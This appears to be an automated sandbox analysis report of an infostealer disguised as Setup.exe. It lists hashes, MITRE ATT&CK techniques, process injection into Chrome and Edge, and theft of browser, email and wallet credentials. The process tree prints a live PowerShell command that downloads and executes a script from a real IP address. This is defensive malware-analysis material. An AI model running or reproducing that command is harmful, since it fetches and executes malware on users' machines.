f9155f296b014294b9a0a83ae7bc0096b25f032d587cc6430bc3cfbbece82bc2

Analysis

max time kernel
103s
max time network
112s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20250619-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250619-enlocale:en-usos:windows10-ltsc_2021-x64system
submitted
07/10/2025, 18:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Setup.exe
Size 395KB
Sample251007-w6v3hsgn3z
SHA256 26c855264896db95ed46e502f2d318e5f2ad25b59bdc47bd7ffe92646102ae0d
MD5 93a4e2b886e2815b6b732a2380b0f068
SHA1 5cbfa13b74917aabbfb4d714c53afb1ac20b10e6
SHA512 230cedc2543d05ac39693cf79d0a2e571f06c198f32a70449b9f36d76202debc53373864ec34cb95cc94d26a54803224a615535fa4826c81e4e519c64fdd1904
SSDEEP 3072:MbtPTcKt1PbrCA4/dYbXurcxA84/LFtZdBsct:IdTz8h/Btu0
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

discovery execution spyware stealer

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://87.120.219.186/mix2pgYCDbF4pdNYtz.ps1

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
53	5884	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
4796	MicrosoftEdgeUpdate.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5884	powershell.exe

Suspicious use of SetThreadContext 11 IoCs

description	pid	Process	procid_target
PID 4392 set thread context of 4796	4392	Setup.exe	89
PID 4796 set thread context of 4972	4796	MicrosoftEdgeUpdate.exe	92
PID 4796 set thread context of 4892	4796	MicrosoftEdgeUpdate.exe	94
PID 4796 set thread context of 1144	4796	MicrosoftEdgeUpdate.exe	96
PID 4796 set thread context of 4352	4796	MicrosoftEdgeUpdate.exe	97
PID 4796 set thread context of 4696	4796	MicrosoftEdgeUpdate.exe	98
PID 4796 set thread context of 4944	4796	MicrosoftEdgeUpdate.exe	99
PID 4796 set thread context of 4708	4796	MicrosoftEdgeUpdate.exe	100
PID 4796 set thread context of 5652	4796	MicrosoftEdgeUpdate.exe	101
PID 4796 set thread context of 2132	4796	MicrosoftEdgeUpdate.exe	102
PID 4796 set thread context of 3952	4796	MicrosoftEdgeUpdate.exe	103

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
4392	Setup.exe
4392	Setup.exe
4392	Setup.exe
4392	Setup.exe
4392	Setup.exe
4392	Setup.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
4796	MicrosoftEdgeUpdate.exe
5884	powershell.exe
5884	powershell.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4392	Setup.exe
4392	Setup.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5884	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4392 wrote to memory of 4796	4392	Setup.exe	89
PID 4392 wrote to memory of 4796	4392	Setup.exe	89
PID 4392 wrote to memory of 4796	4392	Setup.exe	89
PID 4392 wrote to memory of 4796	4392	Setup.exe	89
PID 4392 wrote to memory of 4796	4392	Setup.exe	89
PID 4796 wrote to memory of 4972	4796	MicrosoftEdgeUpdate.exe	92
PID 4796 wrote to memory of 4972	4796	MicrosoftEdgeUpdate.exe	92
PID 4796 wrote to memory of 4972	4796	MicrosoftEdgeUpdate.exe	92
PID 4796 wrote to memory of 4972	4796	MicrosoftEdgeUpdate.exe	92
PID 4796 wrote to memory of 4972	4796	MicrosoftEdgeUpdate.exe	92
PID 4796 wrote to memory of 4972	4796	MicrosoftEdgeUpdate.exe	92
PID 4796 wrote to memory of 4972	4796	MicrosoftEdgeUpdate.exe	92
PID 4796 wrote to memory of 4972	4796	MicrosoftEdgeUpdate.exe	92
PID 4796 wrote to memory of 4972	4796	MicrosoftEdgeUpdate.exe	92
PID 4796 wrote to memory of 4972	4796	MicrosoftEdgeUpdate.exe	92
PID 4796 wrote to memory of 4972	4796	MicrosoftEdgeUpdate.exe	92
PID 4796 wrote to memory of 4972	4796	MicrosoftEdgeUpdate.exe	92
PID 4796 wrote to memory of 4972	4796	MicrosoftEdgeUpdate.exe	92
PID 4972 wrote to memory of 4796	4972	chrome.exe	89
PID 4796 wrote to memory of 4892	4796	MicrosoftEdgeUpdate.exe	94
PID 4796 wrote to memory of 4892	4796	MicrosoftEdgeUpdate.exe	94
PID 4796 wrote to memory of 4892	4796	MicrosoftEdgeUpdate.exe	94
PID 4796 wrote to memory of 4892	4796	MicrosoftEdgeUpdate.exe	94
PID 4796 wrote to memory of 4892	4796	MicrosoftEdgeUpdate.exe	94
PID 4796 wrote to memory of 4892	4796	MicrosoftEdgeUpdate.exe	94
PID 4796 wrote to memory of 4892	4796	MicrosoftEdgeUpdate.exe	94
PID 4796 wrote to memory of 4892	4796	MicrosoftEdgeUpdate.exe	94
PID 4796 wrote to memory of 4892	4796	MicrosoftEdgeUpdate.exe	94
PID 4796 wrote to memory of 4892	4796	MicrosoftEdgeUpdate.exe	94
PID 4796 wrote to memory of 4892	4796	MicrosoftEdgeUpdate.exe	94
PID 4796 wrote to memory of 4892	4796	MicrosoftEdgeUpdate.exe	94
PID 4796 wrote to memory of 4892	4796	MicrosoftEdgeUpdate.exe	94
PID 4892 wrote to memory of 4796	4892	msedge.exe	89
PID 4796 wrote to memory of 1144	4796	MicrosoftEdgeUpdate.exe	96
PID 4796 wrote to memory of 1144	4796	MicrosoftEdgeUpdate.exe	96
PID 4796 wrote to memory of 1144	4796	MicrosoftEdgeUpdate.exe	96
PID 4796 wrote to memory of 1144	4796	MicrosoftEdgeUpdate.exe	96
PID 4796 wrote to memory of 1144	4796	MicrosoftEdgeUpdate.exe	96
PID 4796 wrote to memory of 1144	4796	MicrosoftEdgeUpdate.exe	96
PID 4796 wrote to memory of 1144	4796	MicrosoftEdgeUpdate.exe	96
PID 4796 wrote to memory of 1144	4796	MicrosoftEdgeUpdate.exe	96
PID 4796 wrote to memory of 1144	4796	MicrosoftEdgeUpdate.exe	96
PID 4796 wrote to memory of 1144	4796	MicrosoftEdgeUpdate.exe	96
PID 4796 wrote to memory of 1144	4796	MicrosoftEdgeUpdate.exe	96
PID 4796 wrote to memory of 4352	4796	MicrosoftEdgeUpdate.exe	97
PID 4796 wrote to memory of 4352	4796	MicrosoftEdgeUpdate.exe	97
PID 4796 wrote to memory of 4352	4796	MicrosoftEdgeUpdate.exe	97
PID 4796 wrote to memory of 4352	4796	MicrosoftEdgeUpdate.exe	97
PID 4796 wrote to memory of 4352	4796	MicrosoftEdgeUpdate.exe	97
PID 4796 wrote to memory of 4352	4796	MicrosoftEdgeUpdate.exe	97
PID 4796 wrote to memory of 4352	4796	MicrosoftEdgeUpdate.exe	97
PID 4796 wrote to memory of 4352	4796	MicrosoftEdgeUpdate.exe	97
PID 4796 wrote to memory of 4352	4796	MicrosoftEdgeUpdate.exe	97
PID 4796 wrote to memory of 4352	4796	MicrosoftEdgeUpdate.exe	97
PID 4796 wrote to memory of 4352	4796	MicrosoftEdgeUpdate.exe	97
PID 4796 wrote to memory of 4696	4796	MicrosoftEdgeUpdate.exe	98
PID 4796 wrote to memory of 4696	4796	MicrosoftEdgeUpdate.exe	98
PID 4796 wrote to memory of 4696	4796	MicrosoftEdgeUpdate.exe	98
PID 4796 wrote to memory of 4696	4796	MicrosoftEdgeUpdate.exe	98
PID 4796 wrote to memory of 4696	4796	MicrosoftEdgeUpdate.exe	98
PID 4796 wrote to memory of 4696	4796	MicrosoftEdgeUpdate.exe	98
PID 4796 wrote to memory of 4696	4796	MicrosoftEdgeUpdate.exe	98
PID 4796 wrote to memory of 4696	4796	MicrosoftEdgeUpdate.exe	98
PID 4796 wrote to memory of 4696	4796	MicrosoftEdgeUpdate.exe	98

C:\Users\Admin\AppData\Local\Temp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\Setup.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4392
- C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
  C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
  2⤵
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4972
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4892
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:1144
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:4352
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:4696
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:4944
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:4708
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:5652
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\SysWOW64\rundll32.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2132
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\SysWOW64\rundll32.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3952
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.186/mix2pgYCDbF4pdNYtz.ps1')"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5884

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:1976

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:2428

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BB95BEB.tmp

Path C:\Users\Admin\AppData\Local\Temp\BB95BEB.tmp
Size 1.2MB
SHA256 19722f8de1b746404941ffa5cc96fa292b12affdef665c386b3998e7bbd11bb1
MD5 58dc35551e25b72608ff13d85b4cde33
SHA1 f2750a9ad591eeabf2abef4ca8ad7dee8e54f6fe
SHA512 b849cd13a124f5713011d635b29c2024668ee6a7b1bbe509047ff389d33e086e8adcf4bbbe8a50a61276c38aeed7fe03585d874b31f49f88fec95cfc5a6c3ade
SSDEEP 24576:bhXFEOqy+4P3x1ok5JrqXQ5oEcKNnAMMkbHe/AihYgX56YfnORwO8IB:do01ZJGQ5JnAYe9BnPa
MD5 SHA1 SHA512 SSDEEP

Submit Download

ED77C94.tmp

Path C:\Users\Admin\AppData\Local\Temp\ED77C94.tmp
Size 40B
SHA256 457968d66c036f4fc7e0bd3af88b1e092e70122df9f326d659c88e559db3085a
MD5 8a77a6877f181770019ad5771d99de23
SHA1 092b432150ba4c0ce38c573d564993bc88efe866
SHA512 3693e4a935c90d575a58afda5ae241e5adc912334e0262d08bae84d63f4adb73a43ad7d1c0fbe5c67fd13e04b9cf3b7d4e9cc2dcadf065712a5f887851b54ac4
MD5 SHA1 SHA512

Submit Download

MicrosoftEdgeUpdate.exe

Path C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
Size 201KB
SHA256 f8f3ace5c3c404342251e16381132f0453514e03e9c65cf387a21cd288552200
MD5 41680b5d08d0f18ec731b58a73de4781
SHA1 30eb01cd07f55adaca44edcdcfbc152148078669
SHA512 f936c26a26c5268a142f56c7ca0277efea42404a405679ac23060085ffe96702871ec8d2e0db5534878a03948e99f9464cb8a9da20784f9b0308be9ad30891ce
SSDEEP 3072:vHrfzYBc6X/YoW4l/DReos0gXf+EvC6C36eCWdMuoB+ISzBqUGxNtvKAbFP3cSEZ:GAel/DRfkTC3dM7B+mCL
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_xdr5shxm.24h.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xdr5shxm.24h.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/1144-25-0x00000233997D0000-0x00000233997D2000-memory.dmp

Download

memory/2132-33-0x0000000000900000-0x0000000000954000-memory.dmp

Download

memory/2132-34-0x0000000000B10000-0x0000000000B13000-memory.dmp

Download

memory/2132-36-0x0000000000B20000-0x0000000000B77000-memory.dmp

Download

memory/3952-40-0x0000000003A90000-0x00000000040A0000-memory.dmp

Download

memory/3952-38-0x0000000000E00000-0x00000000013E0000-memory.dmp

Download

memory/3952-39-0x0000000001680000-0x0000000001683000-memory.dmp

Download

memory/3952-45-0x0000000003A90000-0x00000000040A0000-memory.dmp

Download

memory/3952-44-0x0000000003A90000-0x00000000040A0000-memory.dmp

Download

memory/3952-46-0x0000000003A90000-0x00000000040A0000-memory.dmp

Download

memory/4352-26-0x000001CF78680000-0x000001CF78682000-memory.dmp

Download

memory/4392-20-0x00000000738E0000-0x0000000073A5B000-memory.dmp

Download

memory/4392-19-0x00000000738E0000-0x0000000073A5B000-memory.dmp

Download

memory/4392-1-0x0000000074220000-0x0000000074F3F000-memory.dmp

Download

memory/4392-4-0x00000000738E0000-0x0000000073A5B000-memory.dmp

Download

memory/4392-2-0x00000000007D0000-0x00000000007D1000-memory.dmp

Download

memory/4392-5-0x00007FFE4CD30000-0x00007FFE4CF28000-memory.dmp

Download

memory/4392-8-0x00000000738F5000-0x00000000738F6000-memory.dmp

Download

memory/4392-9-0x00000000738E0000-0x0000000073A5B000-memory.dmp

Download

memory/4392-11-0x00000000738E0000-0x0000000073A5B000-memory.dmp

Download

memory/4696-28-0x0000012163950000-0x0000012163952000-memory.dmp

Download

memory/4708-30-0x000002BD52E10000-0x000002BD52E12000-memory.dmp

Download

memory/4796-32-0x0000000000400000-0x0000000000439000-memory.dmp

Download

memory/4796-18-0x0000000000400000-0x0000000000439000-memory.dmp

Download

memory/4796-17-0x00007FFE4CD30000-0x00007FFE4CF28000-memory.dmp

Download

memory/4796-13-0x0000000000400000-0x0000000000439000-memory.dmp

Download

memory/4796-27-0x0000000000400000-0x0000000000439000-memory.dmp

Download

memory/4796-22-0x0000000000400000-0x0000000000439000-memory.dmp

Download

memory/4796-68-0x0000000000400000-0x0000000000439000-memory.dmp

Download

memory/4796-49-0x0000000000400000-0x0000000000439000-memory.dmp

Download

memory/4892-24-0x0000025030CB0000-0x0000025030CB2000-memory.dmp

Download

memory/4944-29-0x000001A045A00000-0x000001A045A02000-memory.dmp

Download

memory/4972-23-0x000001C245110000-0x000001C245112000-memory.dmp

Download

memory/5652-31-0x000001FD23570000-0x000001FD23572000-memory.dmp

Download

memory/5884-51-0x00000000050F0000-0x0000000005156000-memory.dmp

Download

memory/5884-65-0x0000000007690000-0x0000000007D0A000-memory.dmp

Download

memory/5884-52-0x0000000005890000-0x00000000058F6000-memory.dmp

Download

memory/5884-48-0x00000000051C0000-0x000000000588A000-memory.dmp

Download

memory/5884-62-0x0000000005900000-0x0000000005C57000-memory.dmp

Download

memory/5884-63-0x0000000005E60000-0x0000000005E7E000-memory.dmp

Download

memory/5884-64-0x0000000005EA0000-0x0000000005EEC000-memory.dmp

Download

memory/5884-50-0x0000000005020000-0x0000000005042000-memory.dmp

Download

memory/5884-66-0x00000000063B0000-0x00000000063CA000-memory.dmp

Download

memory/5884-47-0x0000000002810000-0x0000000002846000-memory.dmp

Download

memory/5884-69-0x0000000074980000-0x0000000075131000-memory.dmp

Download

memory/5884-70-0x000000000CD10000-0x000000000CDA6000-memory.dmp

Download

memory/5884-71-0x00000000075E0000-0x0000000007602000-memory.dmp

Download

memory/5884-72-0x000000000D360000-0x000000000D906000-memory.dmp

Download